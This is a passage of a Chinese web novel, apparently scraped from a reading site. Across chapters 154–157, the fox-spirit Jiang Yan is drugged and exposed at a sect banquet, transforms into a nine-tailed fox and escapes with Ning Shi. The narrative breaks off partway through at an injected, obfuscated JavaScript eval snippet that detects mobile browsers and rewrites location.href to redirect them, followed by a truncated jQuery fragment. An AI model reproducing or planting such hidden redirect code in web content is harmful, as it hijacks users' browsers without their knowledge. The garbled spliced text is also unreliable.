而在台上,不过四人说的几句话的功夫,慕青似是已经用餐完毕,她轻轻擦擦嘴,转身离开了。 而平海宗众人对她的行为都没有什么异议。 只是赵长老拦了她一下,田峰主见了,解释道:“她最近快突破化神期了,需要稳定心境,随便她去吧。” 赵长老闻言,神色微动,道:“我曾听说,我们千机阁的赵公子对……” 田峰主干咳一声:“老赵,孩子们的事由着他们便好。” 话已至此,赵长老见对方一副不欲多言的样子,便也就此作罢。 宁时几人的座位离他们并不算很远,他们刚刚所说的话,自然也飘到了耳朵里。 于是,宁时江晏看着宁希,宁希看着宋游,宋游看着慕青。 三人都听见了宋游压低声音的自言自语:“不是,这千机阁的长老有病吧。” “提他干什么,阴魂不散的。” 说罢,又扭头看向宁希,犹豫了一下,最终还是道:“我曾听说赵玉升去悬水宫……” 宁希连忙举起两只手疯狂摇摆:“我不是,我没有!” 宋游看起来还是不太放心:“他这个人吧……你懂的,不要信他说的喜欢你什么的话啦。” 宁希:“好。” 以现在的场面看来,事情和她见过的那个故事已经完全不一样了。 而宋游经历了赵长老那番话后,看起来兴致缺缺,他又和三人简单聊了几句后,也起身离席。 估计是去找他那位师姐了。 江晏便同宁时宁希,坐在原地慢慢吃着,间或和上前的弟子们聊上几句。 人实在是太多了。 一柱香后,江晏小声对宁时道:“刚刚过去的那几个人,你认识吗?” 宁时摇摇头,道:“你也不认识?” 江晏“嗯”了一声。 两人对视一眼,又齐齐看向宁希。 宁希:…… 她说:“别看我,我也不认识,我还以为是你们的小伙伴呢。”< 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江晏在宁时身上靠了一会儿,本欲等酒意散去,却不料,随着时间的推移,身上却开始不对劲了。 是那种燥热,像是有一股火苗在灵脉中冲来冲去。 江晏想起来前几天在这具狐狸精的身体上发生过什么,一瞬间吓得脑子清醒了,推开宁时,直直从他肩上离开,挺直了身子。 宁时不明所以,唤他:“彤云?” 江晏正色道:“你等我一下,我感受一下身体情况。” 他此话一出,宁时岂能不明白?当下脸色也是一僵。 江晏没有再和他说别的,只是坐在原地,将意识沉入进这具身体中。 ……情况好像和上次不太一样。 他的感觉没有出错,真的是有几股灵力,像脱缰的野马,在他体内冲撞。 却没有狐狸精特殊时期的感觉了。 江晏皱皱眉头,召来啾啾,对小鸟询问这种情况。 啾啾只扫了他一眼,便道:“麻烦了。” 江晏:“何事?难道还会比上次更麻烦?” 啾啾语速加快了:“这虽然是简单的灵力紊乱,但是,”它加重了后半句话,“是足够让你现原形的程度。” 江晏:? 啾啾:“现在这么多人,所以说比上次更麻烦啊。” “你现在只有赶紧离席,不,应该是离开平海宗,离开这一群修士,只有这一条路可走。” 江晏震惊了,他被这股巨大的信息量冲击得几乎难以回过神来:“行,我这就走——但最后一个问题,”他咬咬牙,问,“为什么会这样!” 啾啾:“据我观察,你灵力紊乱是由外力导致的——只有一个原因,刚才人多,有人趁乱给你吃不该吃的东西了。” 江晏:…… 他意识猛然一沉,回到这具身体中,来不及解释,直接对宁时道: “我们走。” 他话音刚落,二人正欲起身,从不远处的弟子席位中,传来一道声音,响彻全场: “弟子要告发悬水宫私养妖狐,助其化成人形公然登堂入室,祸乱宗门!” 说罢,这道站立的人影伸手一指,直指向宁时江晏二人。 154. 身份曝光 一时间,所有人的目光,都聚集在了悬水宫三人身上。 宁希毕竟年幼,这种场面已经超出了她处理范围,只是瞪大了眼睛看着她亲哥和狐狸哥。 宁时皱眉,正欲起身,被江晏一把按回了座位上。 江晏忍着体内横冲直撞的灵力,一边慢慢起身,心中暗想此事的破解办法。 ……恐怕只有在药效正式发作之前,作怒气冲冲状,离开这里才好了解。 他挺直了背,正欲开口,却被一道洪亮的声音打断了。 ——正是坐在台上的童长老。 童长老竖眉,冷声对那修士道:“你是哪个门派的?不得胡言乱语。” “悬水宫名门正派,怎么可能私藏妖物?” “你今天倒是好好说说,妖狐到底是谁?” 那弟子并不惧他,微微弯腰,拉起身侧的同伴,回话道: “我本来就是悬水宫的人,名为方度。” 又指了指身边的同伴:“平海宗,任录川。” 他这番自报家门,童长老怒目而视,几乎要拍案而起。 但他最终还是从鼻子里重重喷出一口气,和身旁平海宗的长老对视一眼,继续听下去。 方度又道:“昨日我同录川从演武场返回住处时,听到花园中间有异响。” 他转过头来,直勾勾地盯着江晏:“我们毕竟年轻好奇,便循声找过去,却只见……” 江晏:…… 他回想起了当时自己在和宁时做什么,一时间只觉得要真让这小孩说出来,怕是要没脸见人了。 而方度深吸了一口气,大喘气道:“却只见,悬水宫的这位江公子,头顶长出了赤红的狐耳,就连身后,也是多了一条狐狸尾巴!” “至于那宁公子,就坐在江公子旁边,看着他,好像对这种情况已经见怪不怪了。” 他收回落在江晏身上的目光,扫过全场,最终定在了台上长老们的身上,提高声音: “如果这样都不算私养妖狐,祸乱宗门的话,置各宗门的脸面于何地?” 这番话说得有鼻子有眼的,不仅仅是台下的弟子们骚动起来,就连刚才还端坐着的长老们,也是按捺不住,目光交互,窃窃私语。 而童长老终于拍了桌子,怒道:“小儿信口雌黄,你说江公子是妖狐,他便是吗?你有证据吗?” “而且,”他语气复杂,“悬水宫好歹培养了你那么多年,你就是这样回报的吗?” 江晏:…… 童长老居然要让对方拿出证据,看来是被绕进去了。 这种场面,一磨蹭起来时间就长了,而他的当务之急,是以最快速度离开这里。 于是还不等方度回答,江晏便跨过桌子,向前迈出一步,朗声道:“我清清白白,却不料方公子如此污蔑!” “恕江某提前离席!” 说罢,扭头就走。 他脚下步伐飞快,不过是眨眼的功夫便走出了三丈远,眼看着就到了这片竹林的边缘。 这时,一股似有似无的威压弥漫开来,竟是硬生生地阻住了他的脚步,再也难以向前迈出分毫。 江晏:…… 他心中连道不好,感觉要完。 果不其然,只听得席上平海宗的王长老道:“江小友不必着急离开。” 这股含着威压的灵力产生了他的身体,将他硬生生翻了个面,脸冲着主位。 由于转了个身,江晏发现……宁时也在自己身后。 显然是刚才追着他一同离开的。 而此时的宁时同他自己一样,也是被王长老的灵力包裹着,僵在原地。 王长老一边操纵着灵力将二人送回席上,目光晦色不明,口中一边道:“回来听听嘛,这么多宗门都在,定要还你个清白。” 江晏:…… 他一言不发,和宁时双双落座。 王长老的灵力撤去了。 在桌底下,众人看不到的地方,宁时又轻轻拉住了他的手。 这么多个世界,这么多年来,江晏可以说是经历了无数大风大浪。 但在此刻,被宁时牵住了手,他莫名感觉眼眶有些发酸。 ……无论遇到什么,分魂会永远在身边。 他回握住对方的手,抬起眼,直直看向方度。 方度却是笑了,他像是专门等二人回来之后,才继续回答着刚刚童长老的话。 方度道:“悬水宫这么多年来,自然是对我有恩的。” “只是长公子不学无术,还私养妖狐,在下实在是看不下去,便出此下策。” 江晏也不甘示弱,回道:“一天到晚就光知道琢磨别人的私事,你有这些功夫,还至于现在这个修为吗?” 方度是个筑基期,听到这句话,脸色一下子涨红了,怒道:“……你!” 台上,童长老一拍案:“都别吵了!” 江晏便对方度无声地翻了个白眼,扭过头来。 童长老手都是抖的,估计被气的不轻,他道:“一口一个妖狐,证据呢?” 方度鞠了一躬,道:“我自知口述那天的见闻,不足以信服众人。” 他微微抬起头,眼神中闪烁着恶意的光:“所以,我为了进一步证明,刚才专门在这妖狐的酒杯中洒下了针对妖修的现形粉。” 他看着江晏,露出一个不加掩饰的笑:“算了算时间,应该是该起作用了吧。” 他这一番话,倒是让不少刚刚还不相信妖狐一事的修士动摇了——若此事为假,还有谁会有闲心到又是专门弄药粉,又是专门下毒的? 一时间,场中议论纷纷。 江晏舔了舔上排的一颗虎牙——方度说得不错,这药粉的功效他几乎已经遏制不住了。 这颗牙齿,已经比刚才变长了一截,似是要变成狐狸的獠牙了。 在一片混乱中,宁时更加握紧了他的手。 终于,台上的长老们又发话了,这次依旧是王长老。 他没有给方度任何一个眼神,却只是瞧着在方度身边的任录川,缓缓开口: “所以,刚才方度给江晏下药的时候,你知道是何种药品吗?” 任录川疯狂摇头:“长老,我不知道啊——方兄他只是说是会让人看好戏的药!” 这副一问三不知的姿态,完全是准备脱开责任,置身于事外了。 但王长老听了他的回答,却 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此时,宴席上刚才发生的争吵已经过去,空气安静极了,有无数双眼睛都在看着他和宁时这个方向。 宁时不语,只是取来案上的毛巾,给他擦了擦额头上的汗。 两人间的互动落在了方度眼中,他眉心跳了跳,忍不住出言嘲弄: “我还当长公子是什么风光霁月的人物,谁知道背地里和一只狐狸勾搭不清。” “怕是因此耽误了修习吧。” 江晏怒而起身,指着他道:“你嘴巴放干净点。” 方度嗤笑一声:“他还怕人说吗?恐怕是早就被这只公狐狸精迷得五迷三道的了。” 江晏:…… 忍了又忍,而对方却毫不收敛,甚至将话题再三引到宁时身上,他终究是忍不住了。 他忍耐着全身的不适,无视了身后宁时的呼唤,踏着大步来到了方度面前,直勾勾盯着他:“你是几个意思?” 江晏的神魂毕竟是实打实的化神后期,即便是隔着一具狐狸精的身体,这么注视着人,也是极具压迫感的。 方度忍不住后退了一小步。 他的鞋磕在桌腿上,轻微的痛感让他回过神来。 方度简直不敢相信自己被一只狐狸精威胁到了,一瞬间恼羞成怒涨红了脸,梗起脖子,粗着嗓子说:“怎么,勾搭了一个人还不够,还要来找我吗?” 江晏愣了一瞬,才反应过来对方说了什么。 他感觉自己的脑海里有什么东西轻声响了一下,也许是那根名为理智的弦断掉了。 他听不清宁时在自己的身后说了什么。 他只是知道,自己再也难以抑制体内汹涌奔腾的灵力。 岩浆一样的灵力流过他全身的经脉,他的虎牙在变长,头上有什么东西顶了出来。 他真的要变成一只狐狸了。 四周安静极了。 …… 江晏顶着像是被一场大火烧过的痛,再次睁开眼睛。 他四爪踩在地上,俯视着方度,弓身背耳,对他呲了呲牙。 155. 九尾妖狐 江晏心满意足地威胁完方度之后,突然意识到了什么: 按照现在俯视着对方的这个角度,那自己的身高……大概近乎于三个成年男性叠起来。 他震惊了——他第一次化形时,明明还是一只幼小可爱的狐狸,宁时还可以搂着睡觉。 但现在,过了这些年,怎么会突然变到这么高! 他在原地转了个圈,由于还不算适应这具更大的身体,尾巴带倒了一大片桌子。 江晏:…… 他自然是听到了身后叮咣叮咣的声音,本想回头,但生生忍住了——那些摔碎的碗筷并不重要。 眼前有更大的麻烦。 他面前是一片乌泱泱的弟子,对着他的狐形指指点点。 弟子前面,是几大宗门的长老,肃着脸。 而在长老们前面的,是宁时。 是在场所有人中,最靠近江晏的人。 他们能看得清彼此的瞳孔。 …… 而江晏脑海中,啾啾终于爆发了。 小鸟尖叫:“你变成这副模样,可真是完了。” “若是小一点还好,你是怎么变成这么大的?” “唔……不过说起来倒也正常,你的神魂太强大了,连带着这具狐狸的身体,也开始进化了。” 啾啾的意识体戳了戳江晏的肩:“你现在修为大约在金丹期,不然,你试试能不能借神魂之力突破?” 江晏没有看它,只是道:“等我打完这场再说。” 啾啾:…… 剑修果然是剑修,就算变成了一只狐狸精,也忘不了打架。 它闭上嘴,安静地看江晏和众人对峙。 …… 江晏望进了宁时眼中。 通过分魂的眼睛,他看到了自己现在的样子。 确实好看。 他像是竹林中的一团火,把周遭的绿叶都染成了金红色。 他身形高大,皮毛赤红,像是有火苗流过,在身边带起一点一点的赤金流光。 至于身后,盛开着一朵足足有二层楼高的火莲。 层层叠叠的花瓣,围绕着狐身绽开,从花心向外缘流淌着烈焰。 江晏眯了眯眼睛——自己身上怎么会有莲花纹呢? 他定睛看去,这次看清楚了: 那哪里是什么重瓣火莲,分明是一堆的狐狸尾巴! 狐狸尾巴蓬松而巨大,再加上数量堆叠,从远处看去,竟是同火莲一样了。 江晏微微愣住了。 他想起几日前,宁时拉着还是人形的自己,在平海宗狐狸园中说过的话。 这位分魂当时说的是:不用去追求有几条尾巴了。 即便是时机不对,但此刻,江晏却有点想笑呢。 他曲起四肢,伏下身子,把狐狸脑袋搭在前爪上,对分魂说:“我现在有几条尾巴?” 宁时走上前两步,站在了他的鼻尖处,又抬起手,摸了摸狐狸的鼻梁,轻声说:“我刚才已经数过了,九条。” 江晏:“嗯,知道了,我厉害吧。” 宁时点点头。 而在这时,在场众人终于从九尾狐带来的震撼中回过神来。 几位长老异口同声对宁时道:“你得把妖狐交出来!” 宁时摇了摇头。 王长老便道:“哎呀,你这孩子——我们让你把它交出来又不是说要杀了它。” “只是把它关起来看护好,防止伤人罢了。” 宁时就古怪地笑了。 他冷冷道:“彤云从未伤过人,连鸡肉都是吃熟的,你们现在却要这样不分青红皂白地把人囚禁起来?” 王长老直直叹气,道:“哎呀,这么多人看着呢,你好歹……” 他的话被千机阁的赵长老打断了,这位长老冷声道: “既然你不听劝,那休要怪我们不客气!” 他振臂一呼:“此妖物乃是九尾妖狐,若是放任其离开,后果不堪设想。” “不如今日诸位道友同赵某一起,将妖物诛杀于此!” 江晏还未来得及对此人哈气呲牙,便听到宁时厉声喝道:“谁敢?” 悬水宫长公子在外形象一向温文尔雅,何时有人见过他这样疾言厉色? 一时间,还真有不少修士被唬住了,在原地犹犹豫豫,不敢上前。 赵长老却是着急了,他冷声道:“你是要与所有宗门为敌吗?” 宁时听他这么说,反而平静下来,道:“你不要曲解我的意思。” “彤云从未伤人,各是各门派不分青红皂白地将他扣押,此事传出去,难道修真界的名声就好听了吗?” 赵长老嗤笑一声,道:“年轻气盛,老夫不与你计较,”他伸手指向狐狸,“再说了,你说妖狐未伤人,又有什么证据呢?” 宁时负手而立,江晏见他背在身后的手做了几个手势,心下一动——宁时在告诉他,他有办法。 宁时一边对他比着手势,一边对赵长老道:“那您这话说得就有意思了。” 他眯了眯眼睛:“您口口声声说妖狐伤人,来质疑我的说法,但也应该拿出些证据。” “比如,你在何时何地见到彤云伤了何人?” 赵长老不料被一个小辈迎面质疑了,但他所说的话本来就是为了激起人群情绪的,并没有实证,便被噎住,伸手指着宁时,却是没再能说出来半个字。 见到面前此景,修士们面面相觑: 宁时这番话说得有理有据,让他们的大脑一时间清晰了些,不禁开始窃窃私语—— 如果赵长老说的是真的,那为何到现在都还未能说出后面的话呢? 质疑的种子一旦在内心埋下,就会生根发芽。 一时间,修士们自发形成的围拢着宁时江晏二人的圈子,出现了松动溃散之势。 赵长老自然是察觉到了人心动摇,他眉头一皱,运转灵力,将声音送到了全场: “妖修和我族修士不共戴天,我们这么多人,还支付不了这一只狐狸吗?” 他拔剑指向江晏:“虽说是一只九尾狐,但在场高手云集,有人数众多,我们只需要制服它便好。” “待事成之后,诸位的履历上都会有这样一笔,”他顿了顿,目光扫视过全场,才字字清晰地说道,“那就是,制服过九尾狐。” 不得不说,赵长老还真有几分操纵人心的本事。 他最后一句话音落地,全场寂静了几秒,刚才那已经隐约松动的态势,又陡然严肃起来。 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江晏将目光聚在宁时身上,只等他做出最后一个手势,他们就可以…… 变故却发生在一瞬间! 此处毕竟年轻修士众多,刚刚不知是谁按捺不住性子,竟是直接往江晏身上射过来一箭! 这些参加初试的弟子们修为并不算高,江晏也没把这一箭当回事,只是抖了抖皮毛,打算用妖力抵抗一番。 却不料,宁时余光瞧见了这道寒光,他陡然转身,抬起手来,毫不犹豫地从指尖射出一道灵力,冲向这剑光。 只见一白一红两股灵力相撞,接着是一声脆响,那银制的箭头掉在地上,又滚了两圈,落在江晏脚边。 这一点寒芒扎进了剑修的眼里。 他想,刚刚是发生了什么呢? 他明明已经做好挡住这不痛不痒的一箭的准备了,可这箭头怎么会在他身前停止了呢? 他将视线缓缓上移。 看到了一个抿着嘴,但脸色苍白的宁时。 他便知道了。 ……是了,为他挡住这一下的,是宁时。 宁时刚刚用了灵力,打歪了这道箭光。 于是十余年来,他的静养,他每月吃掉的丹药,从杏谷一次又一次送来不计其数的兰冰莲,作用全都消失了。 都成了笑话。 前功尽弃。 而到现在为止,天山秘境的冷莲依旧没有消息。 意识到这些后,有什么东西在江晏脑海中乱撞。 它们在咆哮。 ——凭什么呢? 他想,我和宁时从来没做过什么坏事。 什么还不能放过我们呢。 我们只想好好活着。 但现在,宁时看起来不能好好活着了。 江晏感觉,自己也快不好了。 他经历过小世界,也经历过原世界线里自己的死亡。 但他不能接受宁时,或者说是他自己,以这种方式,再次死去。 能杀死分魂的,不能有别人。 两层楼高的巨狐狸伏在地上,从喉咙深处发出低沉的咆哮。 156. 逃亡共犯 江晏的理智如同火烧。 却突然多了一只冰凉的手,摸上了他的额心。 小小的,皮肉是软的,但因为消瘦,能轻而易举的感知到下面的骨头。 江晏眨眨眼睛,暂时中断了咆哮。 理智渐渐归笼。 在他的视野中央,端端正正地站着一个宁时。 至于他身后那些因为狐狸咆哮而显得更加剑拔弩张的修士们,全都模糊成了一片背景。 站在他面前的宁时又顺手捋了把狐狸鼻梁上的毛,眼神平静,道: “彤云,不必着急生气。” “我了解自己的身体,我有我的安排和打算。” 江晏:…… 他怀疑宁时在骗他——毕竟这些年来,他像宁时读关于妖修的书一样,也看过不少关于灵力紊乱的内容。 此事并没有什么解法,宁时应该就是在骗人。 江晏在某个瞬间,真的很想戳穿这个表面看起来一直风淡云轻的公子。 但他的鼻尖发酸,牙根发胀,张了张嘴,最终只轻轻“嗯”了一声。 宁时就又摸了摸他身上光泽的毛发,说:“我要上去。” “你要带着我,离开这里。” 他又看了眼一直在人群中焦急地解释着什么的宁希:“希希便不用了——她是悬水宫未来的主人,没有人敢拿她怎么样的。” 江晏低下身子,用一股平缓的灵力,将宁时托举到身上坐定。 不知是因为对方太瘦了,还是因为现在狐身巨大,江晏竟是没有感到什么重量。 一切都轻飘飘的,让他没有安全感,生怕宁时无声无息地掉下来。 背上,宁时隔着厚厚的皮毛,几乎将整只胳膊都陷入了赤红的毛发中,戳了戳江晏。 江晏:…… 很好,终于有感觉了。 宁时的声音从他背后传来,说:“带我走吧。” “我们两个人,去哪里都行。” 去哪里都行吗? 但江晏并不知道自己现在要去哪里。 他从一到这个世界之初,就一直陪在宁时身边。 宁时到哪里,他就跟着到哪里。 宁时才是他的世界。 ……其实去哪都没关系的,江晏想。 反正现在宁时坐在自己的背上。 他和他的这个世界在一起,即使身处何处,也都无所谓了。 巨大的火狐直起身子,迈开四肢,陡然加速冲向人群后的小路! 众多弟子不料他突然动作,一时间纷纷惊呼着闪开。 一道红光切入人群,犹如长剑劈开江水。 江晏面前,出现了一条畅行无阻的通道。 而通道两边,全都是年轻修士表情各异的脸。 是震撼还是恐惧,江晏已经不在乎了。 就连从他身后传来的,赵长老撕心裂肺的“你们愣着什么,赶紧抓住他”的声音,他也不在乎了。 身后有什么东西在逼近,那是赵长老气极,御气而行飞掠过来,手上还拽着一个王长老。 赵长老凝神,对江晏打出一团凌冽的光! 他是一位化神期的修士,因此这光芒来势汹汹,几乎到了让人难以躲避的地步。 而这个时期的江晏,他已经不是从前那个化神后期的剑修了。 江晏回头,瞳孔微缩,他急急转过身来,挺起胸膛,在浑身上下支起一道防护罩。 转眼的功夫,这灵力便实打实地砸到了防护罩上。 两者相撞,就连地面都为之一震,旁边的竹林簌簌抖着,飘摇着落下许多绿叶,盖了这些弟子们一头一脸。 这巨震过后,就是一声清晰的脆响。 江晏知道,这是防护罩开始破裂出第一道痕迹的声音。 而可以预见的是,这些裂痕很快就会蔓延出第二道、第三道。 直到数不清的裂痕布满整个防护罩,然后他们最后的屏障就这样分崩离析。 ……他现在的修为,和赵长老之间,相差的还是太多了。 但真的要任由对方破开防护罩吗? 那他和宁时就不能一起在每一次日落下,共同坐在荒原上看晚霞了。 他们可能被分开。 宁时也许被关在特定的院落中,而自己作为一只妖狐,估计是要被投入牢中了。 是那种建在地下的,甚至没有窗户的牢笼。 他看不见日光,听不见虫鸣。 最重要的是,他将再也见不到宁时了。 如果真的走向了这个结局,江晏脑海中嗡嗡作响,他想,那自己此次前往这个小世界的任务,也就彻彻底底地失败了。 这二十年的努力,全部都消失了。 而除此之外,他还要再经历一次目睹宁时离开的痛苦。 ……这些都是万万不能的。 而在现实中,他头顶的防护罩已经蔓延出蛛网般的裂痕,摇摇欲坠。 江晏咬紧了牙。 他本来以为,自己经过这么多年的磨砺,心境应该平缓了很多。 但剑修毕竟是剑修,在这堪称生死存亡之际,他被赵长老这样一激,性子反而上来了。 妖力和血液都在他的身体里涌动,而火焰从巨狐的皮毛上流过,几乎把他狐身的一双绿眼睛,烧成了赤红。 江晏渐渐挺直了狐狸的胸膛,仰头对天发出一声咆哮—— 我既然能修到化神期一次,如何修不得第二次! 他情感波动过于剧烈,啾啾从意识海中现身:“你打算做什么?” 江晏用意识体平静道:“你上次不是说过,我神魂强大,会影响到这具身体。” “所以我打算试一试。” “看看我化神后期的修为,能不能带到彤云身上。” 啾啾惊了,疯狂振翅:“你怎么这么不让我省心!” “这对你神魂影响很大的!你会感到很疲惫——” 小鸟话未说完,就被剑修打断了。 江晏道:“无妨。” “若是赵长老得逞,结果对分魂便不好,于我而言,同样是对神魂有碍。” “不如此时放手一搏。” 啾啾:…… 它用花生仁大小的脑子琢磨了一下对方的话,居然还体会到了几分道理,竟是难以反驳。 它便由着剑修去了。 江晏不再理会啾啾,只是运转起周身的灵力。 狐狸皮毛上的火苗愈发旺盛,江晏只觉得,自己似乎摸到了突破的门槛。 是妖修从金丹期到元婴期的。 ……自己从前作为一名剑修的时候,是如何度过雷劫的呢? 透过模糊的记忆,江晏看到,从前的自己手持攻玉剑,于滔滔江水边凝神。 现在,他身边没有攻玉剑了。 但是有了宁时,有了他的另一片魂魄。 他的神魂是完整的。 体内蓬勃的妖力终究是满溢出来,像是有什么东西突破了瓶颈。 那本已摇摇欲坠的防护罩,上面交错纵横裂纹,居然都渐渐消失了。 又是一个完完整整,坚不可摧的小屋了。 …… 狐狸身上金光更胜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059371|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而一种更为强大,更为轻快的灵力,也同时在江晏体内涌流。 坐在他身上,与他紧紧相贴的宁时自然是第一个察觉到这种变化的人。 他由于常年未能修习,一时不确定这种变化的好坏,便俯下身子来,几乎是贴着狐耳,道: “彤云,你这是怎么了?” 细微的热流喷在江晏的耳朵上,正如几日前宁时在小花园咬他耳朵一般。 江晏说:“无事,只是突破了金丹期罢了。” 他回答时,并没有收着声音,因此赵长老也自然是听到了。 赵长老震惊难言,一时间目如铜铃,伸着手指颤抖地指着江晏,憋了半天,最终憋出来一句: “此妖物断不可留!” 说罢,竟是从口袋中掏出什么东西,扔向江晏! 一道黑影闪过,带起四周弟子们的议论纷纷: “那是降妖杵吧?” “怎么会把这个拿出来……我们真的有资格见到这种东西吗?” “九尾狐都出来了,拿出这种东西不是很正常吗?” …… 一股又一股,来自四面八方的杂声汇入江晏耳中。 ……真的很烦啊。 他闭上了眼睛。 体内的妖力依旧在流淌。 他曾经是一位化神期修士,现在完全放开后,他的灵魂在拉扯着这具身体。 在降妖杵冲碎防护罩,来到狐狸眼前的前一瞬间,它静止了。 确确实实地静止了。 它就这样悬在空中,不再前进一丝一毫。 周遭寂静无声。 在一片静默中,江晏低头看了赵长老一眼。 最后轻轻抬爪。 这降妖杵便又顺着来时的方向,直直飞向了赵长老! 一时间,惊呼声和弟子们四散开来的脚步声不绝于耳。 江晏却没有在理会这些混乱了。 他迈开四条长腿,开始奔跑,冲着山下,冲着山门的方向开始奔跑。 他听不见恒阳峰上的嗡嗡声了,也不愿去想接下来会发生什么了。 他只是跑着,整个世界里只有宁时透过他脊背的心跳。 九尾狐的速度是何其之快,不过眨眼的功夫,他已经跑下了恒阳峰。 江晏沿着记忆中平海宗的大门方向跑着,途中路过的许许多多的弟子。 这些弟子们只是觉得眼前一花,又吹过来一阵风,便再没有任何和平日不同的地方了。 终于,巨狐和他背上离开了世家的长公子来到了宗门前。 这是最后一步了,不能硬闯,如果有人能帮忙放他们出去的话…… 江晏环视四周,似乎看到了某个女孩子一张冰冷素白的脸。 他心思微微一动……这勉强能算个认识的人。 红光一闪,他从狐形变回人形,携着宁时走上前几步,对那少女道:“慕道友,可否……” 他话还没说完,似乎有什么凌冽的东西一闪。 只见慕青腰间佩刀折射着天光,她右手扶在刀柄上,平静道:“门现在就是开的。” “要走赶紧走,我还需要时间制造一下打架痕迹。” 江晏:…… 事情和他想象中完全不一样,但竟是出乎意料地顺畅。 他和宁时向对方道谢后,不再犹豫,转身踏出了平海宗的大门。 在他们身后,隐约飘来一句女声,淡淡的,像是自言自语: “现在灰雾飘来飘去,还有闲心弄这些。” “等到那天来了,管你是人修妖修,一起完。” 157. 逆旅 在平海宗外,在这个小世界的山林中。 江晏用人形拉着宁时,御气而行。 这个季节已经有些冷了,有不少枯枝黄叶划过他们的衣袖,发出簌簌的声响。 二人如此行了一炷香的时间,周遭的景色终于不是平海宗的山头了,他们到了一处地势较为平缓的地方。 江晏望向身后。 来处依旧是一片风平浪静,并没有人追上他们。 想来可能是千机阁只来了赵长老一人掌事,他不可能只因为妖狐的事,抛开一群初试弟子而追出去。 至于其他几个宗门,尤其是平海宗,江晏想,可能是并不想多管闲事。 再加上他们离开时,慕青说过的那几句话,江晏几乎能想到一群平日里一本正经端着的长老们,脸红脖子粗地匆匆赶到山门前,却发现对方已经不知所踪的场面了。 ……想来一定是面面相觑,十分尴尬。 这样想来,江晏的心情产生了微弱的好转。 他逐渐放缓了步子,和宁时一样,低下头来去看那些在地面上接连不断向后滑去的民居屋顶。 身边终于是传来了宁时的声音,这是他离开平海宗后所说的第一句话: “彤云,我们终于出来了。” 江晏“嗯”了一声,想了想,只觉得后续所有的事情都令人头大,便问:“看起来他们没有人追过来,那么,你打算去哪里?” 宁时几乎是毫不犹豫地就开口,好像这个回答已经在他心中演练了无数次:“肯定是不能再回悬水宫了,也许可以在人间随便找一处地方,暂时住下。” 江晏:…… 分魂的回答未免也太熟练了。 他便追问:“你说不再回悬水宫了,但你身上带的药……” 宁时垂着眼:“还够四个月的——出发的时候就已经做好了宁希入选,我在这边多停留一段时间的准备。” 他说到这里,却是轻笑出声:“只是不料有了这种变故,若是早知如此,不如再多带上一些盘缠……” 江晏打断了他的话:“说这些还为时尚早。” 宁时便抬起头来,笑道:“怎么不早?你这小狐狸啊,哪里知道人间的钱难赚?” 江晏不想再听他这些毫无重点的话了,他一把按住分魂的手,直直望进对方眼底,说:“那四个月之后呢?” 宁时身体微微颤了一下,却还是在装傻,他目光飘了飘,问:“什么四个月?” 江晏:“……我是在问你,你的药吃完了,四个月之后怎么办。” 在他这句直截了当的话下,宁时终于渐渐正色了。 他轻轻叹气,说:“虽然我身体并不算好,可我也还没活够呢。” “我打算,药快吃完了就传讯给宁希,让她帮忙带给我一些。” “仔细想过,我并不打算直接找母亲和父亲——他们一举一动受到的关注总是更多,风险较大。” “还是通过宁希报平安,比较妥当。” 江晏一边控制着御空的高度缓缓降低,一边说:“这样也好,只是,”他忍不住双手扶上了宁时的肩,音量控制不住地渐渐高了,“你有没有想过,如果四个月之后悬水宫无法正常给你送药呢?” “我们还是应当回去的,这样对你的身体更好。” 宁时任由他扶着,眼底情绪莫名。 他说:“彤云啊,我知道你是为我好。” “你希望我平安,我也希望你平安。” “但是呢,我在悬水宫还有很多家人。” “我也希望他们一样好好的。” 他轻轻摸上江晏的手,温柔但坚定地把它们从自己的肩头拿下,又拢到自己身前,说:“所以,我们还是不回去了吧。” 江晏:…… 他总算是听明白了。 宁时就是在担心自己回去之后连累到悬水宫众人,所以才决定和他在人间暂居的。 这个选择…… 江晏最终还是叹了一口气,他决定顺从宁时的选择——毕竟,他来到这个小世界的任务也包括满足分魂的心愿。 还是要多顺着宁时的心意的。 江晏便不再多言,只是点了点头,又看了眼脚下人间熙熙攘攘的街道,对宁时道:“你认识路吗,想去哪里住着?” 宁时看了看他,又看了看脚下,说:“哪里都可以的。” “只要和彤云在一起,住在哪里都好。” 江晏有些无奈了:“你这个人,都到这种时候了,怎么还油嘴滑舌的。” 宁时轻轻笑了:“怎么能这样说我呢,我只是真情流露罢了。” 他突然一下子靠近了,几乎是贴在江晏耳朵边,说:“回想一下,也真是荒唐。” “我居然就这样跑了。” “但居然没有我想象中的那么不安,我感觉自由了,甚至还有一点刺激。” 江晏:…… 他顺手捋了一把对方被风吹过来的头发,回道:“你说的倒像是演话本一样了。” 宁时看着他,道:“怎么不是呢,这样说来,是有些像那些同狐妖私奔的话本了。” 这话说的居然十分贴切,即使是场景不合时宜,江晏也有些想笑,他几乎是不加思考地回道: “是那种大户人家的小姐,被男狐狸精勾了魂,即便是逃离家族也要在一起的吗?” 他说完,却久久得不到宁时回应。 江晏后知后觉地反应过来自己刚刚胡言乱语了些什么,不由得一时也沉默了。 他偷偷瞄了一眼宁时,不太确定对方不吭声的原因是不是因为“大户人家的小姐”这个说法。 果然,他对上了宁时高深莫测的表情。 见他看过来,宁时也开了口,语气却是带着调笑的意味:“你见过哪个男狐狸精要大小姐亲亲才好的?” 江晏:…… 分魂果然是在在意这个! 并采取了如此强有力的反击方式! 更为可怕的是,他在宁时这番话下,不由自主地回忆起来几日前浑身的潮热,以及……凉亭下的那个吻。 一时间,江晏整个人都不好了,他甚至能感觉到自己在迅速升温,迅速变红。 ——他的气势便这样垮下来,以至于口中根本说不出来什么反驳的话了。 他就瞪圆眼睛,气鼓鼓地看着宁时,用眼神示意对方闭嘴,见好就收。 宁时就抬手摸了摸他的头,脸上是笑着的,但说出来的话却又给了江晏 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宁时便再接再厉,有意放软了声音:“从前我一直想来这边多住一段时间呢,只可惜我的身体……” 说罢,还对江晏眨了两下眼睛。 